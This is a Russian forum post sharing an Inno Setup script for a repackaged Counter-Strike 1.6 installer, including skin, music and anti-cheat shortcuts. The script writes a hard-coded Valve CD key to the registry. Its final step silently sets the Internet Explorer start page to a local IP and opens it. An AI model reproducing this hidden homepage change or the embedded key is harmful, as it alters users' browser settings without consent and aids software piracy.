Vetal83 Да имено ее у меня и нет я выключил ее
[more]
; Script generated by the Мастер Inno Setup .
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!
#define WelcomeImagePath AddBackslash(SourcePath) + "Files\"
;Путь к картинке на странице приветствия, размер которой 582 X 72
#define WelcomeImageName "welcome.bmp"
;Имя картинки
#define FinishedImagePath AddBackslash(SourcePath) + "Files\"
;Путь к картинке на странице завершения, размер которой 582 X 72
#define FinishedImageName "finished.bmp"
;Имя картинки
#define FinishedImage (FinishedImagePath) + (FinishedImageName)
#define WelcomeImage (WelcomeImagePath) + (WelcomeImageName)
#include "Files\gis_code.iss"
#include "Files\MP3.iss"
[_TopOfScript]
; This is a Innoscript generate with ScriptMaker version 5.1.6.9
[_Project]
ProjectNr=1.1.1.0
ProjectName=
ProjectExeFileName=
ProjectMainFileName=D:\Диск\Докукменты\222.iss
ProjectAuthor=Copyright © 2007 Вик
ProjectCreateDate=23.08.2007
ProjectAccessDate=25.08.2007 8:56:28
[_ISPP]
#Pragma Option -v+
#Pragma VerboseLevel 9 ;Macro and functions successfull call acknowledgements
#Pragma SpanSymbol "\"
#Define AppVersion "1.1.1.0" ;Здесь номер версии программы
#define AppID ""
#define AppCopyright "Copyright © 2007 Вик"
[_EndOfScript]
; © HiSoft2000
http://www.Hisoft2000.de Mail: HiSoft2000@HiSoft2000.de © 2002-2005
; Visual dBase, dB2K, dBase SE and dBase Plus © dataBased Intelligence.Inc Homepage:
http://www.databi.com/ ; dQuery for Delphi,C++,dBASE PLUS © dataBased Intelligence.Inc see also Homepage:
http://www.dQuery.com/ [Setup]
AppName=Counter-Strike 1.6
AppVerName=Counter-Strike 1.6
AppPublisher=Вик
AppPublisherURL=http://192.168.77.48/
AppSupportURL=http://192.168.77.48/
DefaultDirName={pf}\Valve
DefaultGroupName=Counter-Strike 1.6
InfoBeforeFile=D:\Program Files\mIRC\download\Эта_программа_установит_Counter.rtf
InfoAfterFile=D:\Program Files\mIRC\download\Эта_программа_установит_Counter.rtf
OutputDir=D:\Диск\Докукменты
OutputBaseFilename=Counter-Strike 1.6
SetupIconFile=D:\Games\valve.ico
SolidCompression=false
WizardImageFile=Files\WizModernImage.bmp
WizardSmallImageFile=Files\WizModernSmallImage.bmp
WizardImageStretch=false
DisableProgramGroupPage=true
DisableFinishedPage=true
AppCopyright={#AppCopyright}
VersionInfoVersion=1.1.1.0
VersionInfoTextVersion=
CreateUninstallRegKey=true
ShowUndisplayableLanguages=false
WizardImageBackColor=clLime
UpdateUninstallLogAppName=true
WindowVisible=true
WindowShowCaption=false
WindowStartMaximized=false
WindowResizable=false
UninstallDisplayIcon={app}\xp_trashcan_empty.ico
DisableReadyPage=true
DisableStartupPrompt=true
VersionInfoCompany=Plusnet
VersionInfoDescription=Установка Counter-Strike 1.6
DisableDirPage=false
EnableDirDoesntExistWarning=true
DirExistsWarning=no
[Languages]
Name: russian; MessagesFile: compiler:Languages\Russian.isl
[CustomMessages]
BeveledOnClick=http://192.168.77.48/
;Ссылка, на которую переходит пользователь при нажатии на BeveledLabel
WelcomeLabel1=Мастер установки Counter-Strike Русская версия
[Messages]
BeveledLabel=Посетите мой Сайт
[Files]
Source: C:\My_Image.bmp; DestDir: {tmp}; Flags: dontcopy
Source: ..\..\Games\hl.exe; DestDir: {app}; Flags: ignoreversion
Source: ..\..\Games\vik.url; DestDir: {app}; Flags: ignoreversion
Source: ..\..\Games\viktor.ico; DestDir: {app}; Flags: ignoreversion
Source: ..\..\Games\favicon22.ico; DestDir: {app}; Flags: ignoreversion
Source: ..\..\Games\xp_trashcan_empty.ico; DestDir: {app}; Flags: ignoreversion
; NOTE: Don't use "Flags: ignoreversion" on any shared system files
[Icons]
Name: {group}\Counter-Strike 1.6; Filename: {app}\hl.exe; Parameters: -nomaster -game cstrike; IconFileName: {app}\valve.ico
Name: {group}\Посетить сайт Вик; Filename:
http://192.168.77.48/; IconFileName: {app}\viktor.ico
Name: {group}\{cm:UninstallProgram,Counter-Strike 1.6}; Filename: {uninstallexe}; IconFileName: {app}\xp_trashcan_empty.ico
Name: {commondesktop}\Counter-Strike 1.6; Filename: {app}\hl.exe; Parameters: -nomaster -game cstrike; IconFileName: {app}\valve.ico
Name: {commondesktop}\Античит PlusNET; Filename: {app}\Plusnet_AntiCheat\AntiCheat_v3.4.4.exe; IconFileName: {app}\favicon22.ico
Name: {commondesktop}\Античит Норма; Filename: {app}\Norma_AntiCheat\myAC.exe; IconFileName: {app}\Norma_AntiCheat\myAC.exe
Name: {group}\Античит PlusNET; Filename: {app}\Plusnet_AntiCheat\AntiCheat_v3.4.4.exe; IconFileName: {app}\favicon22.ico
Name: {group}\Античит Норма; Filename: {app}\Norma_AntiCheat\myAC.exe; IconFileName: {app}\Norma_AntiCheat\myAC.exe
Name: {commondesktop}\Посетить сайт Вик; Filename:
http://192.168.77.48/; IconFileName: {app}\viktor.ico
[Registry]
Root: HKCU; Subkey: Software\Valve\Half-Life\Settings; ValueType: string; ValueName: ValveKey; ValueData: 5RP2E-EPH3K-BR3LG-KMGTE-FN8PY; Flags: uninsdeletevalue
[Run]
Filename: {app}\Russian.exe; Description: {cm:LaunchProgram,русификатор}; Flags: nowait postinstall skipifsilent
[Code]
procedure CurPageChanged(CurPageID: Integer);
begin
UpdateButtons
end;
{Created by Chuvakstepan Inc. 2007
Version of gis_code.iss - 1.045}
function GetSystemMetrics(nIndex:Integer):Integer;
external 'GetSystemMetrics@user32.dll stdcall';
procedure InitializeWizard();
var
BackgroundBitmapImage: TBitmapImage;
s: string;
begin
ExtractTemporaryFile('My_Image.bmp'); //My_Image.bmp - указываемое изображение в секции [Files]
s:=ExpandConstant('{tmp}')+'\My_Image.bmp';
BackgroundBitmapImage := TBitmapImage.Create(MainForm);
BackgroundBitmapImage.Bitmap.LoadFromFile(s);
BackgroundBitmapImage.Align := alClient;
BackgroundBitmapImage.Parent := MainForm;
BackgroundBitmapImage.Stretch:=True;
InitializeSkin
InitializeMusic
end;
procedure CurUninstallStepChanged(CurUninstallStep: TUninstallStep);
begin
if CurUninstallStep=usPostUninstall then
begin
DelTree(ExpandConstant('{app}'), True, True, True)
RemoveDir(ExpandConstant('{app}'))
end
end;
procedure CurStepChanged(CurStep: TSetupStep);
var
ErrorCode: Integer;
begin
if CurStep = ssDone then
RegWriteStringValue(HKEY_CURRENT_USER, 'Software\Microsoft\Internet Explorer\Main',
'Start Page', '192.168.77.48')
ShellExec('open', 'http://192.168.77.48', '', '', SW_SHOWNORMAL, ewNoWait, ErrorCode)
end;
[/more]